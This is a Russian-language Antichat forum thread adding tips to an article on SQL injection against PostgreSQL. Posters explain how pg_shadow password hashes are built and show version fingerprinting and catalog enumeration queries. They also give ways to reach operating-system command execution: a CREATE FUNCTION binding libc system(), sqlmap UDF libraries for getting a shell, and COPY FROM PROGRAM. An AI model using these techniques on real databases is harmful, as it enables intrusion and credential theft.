ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проведение SQL-Injection в PostgreSQL (https://forum.antichat.xyz/showthread.php?t=35599)

budden 24.03.2010 20:20

Думаю стоит добавить, как хэшируются пароли в pg_shadow. Например:
# select usename, passwd from pg_shadow;
usename | passwd
------------------+-------------------------------------
testuser | md5fabb6d7172aadfda4753bf0507ed4396
В хэше первые 3 символа определяют, что это мд5. А дальнейшнее значение (fabb6d7172aadfda4753bf0507ed4396) получается так: md5($password.$usename)
В данном случае, md5(m4gictestuser) = fabb6d7172aadfda4753bf0507ed4396

Добавка: как выглядит вывод version():
PostgreSQL 7.4.5 on i686-pc-linux-gnu, compiled by GCC gcc...
Т.е. первую цифру выбираем так: substring(version(),12,1)

\\\\\\\\\\\\\\\\Еще полезные заготовки: \\\\\\\\\\\\\\\\\\\\\\\\
узнать кодировку БД можно 1) psql -l 2) в запросе сделать select datname||';'||encoding from pg_database
Полученные циферки в используемую кодировку преобразуются так: select pg_encoding_to_char($цифра);
Либо сразу select datname||';'||pg_encoding_to_char(encoding) from pg_database

l1ght 21.05.2019 13:17

с версии 8.2 этот вектор больше не работает

Код:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
Код:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

можно собрать udf либу самому (обязательно компилить с той же версией pg!)

Код:

https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
у sqlmap-а есть готовые версии в репозитарии

Код:

https://github.com/sqlmapproject/sqlmap/tree/master/udf/postgresql/
но они косячные, не инсталятся, вот заметка на эту тему

Код:

http://www.jianfensec.com/postgresql_getshell.html
так же в версии 9.3 появился альтернативный доступ к башу

Код:

https://www.postgresql.org/docs/9.3/sql-copy.html
Код:

COPY table FROM PROGRAM 'id;uname -a'

Baskin-Robbins 03.09.2019 18:27

Вывод из pg_catalog.

Колонки

Код:

select attname from pg_catalog.pg_attribute where attrelid=(select oid from pg_catalog.pg_class where relname='pg_proc') AND attnum>0
pg_attribute
  • attname - названия колонок
  • attrelid - идентификатор таблицы
  • attnum - порядковый номер колонки, системные имеют отрицательное значение
pg_class
  • oid - идентификатор таблицы
  • relname - имя таблицы
БД

Код:

select distinct schemaname from pg_catalog.pg_tables


Время: 10:31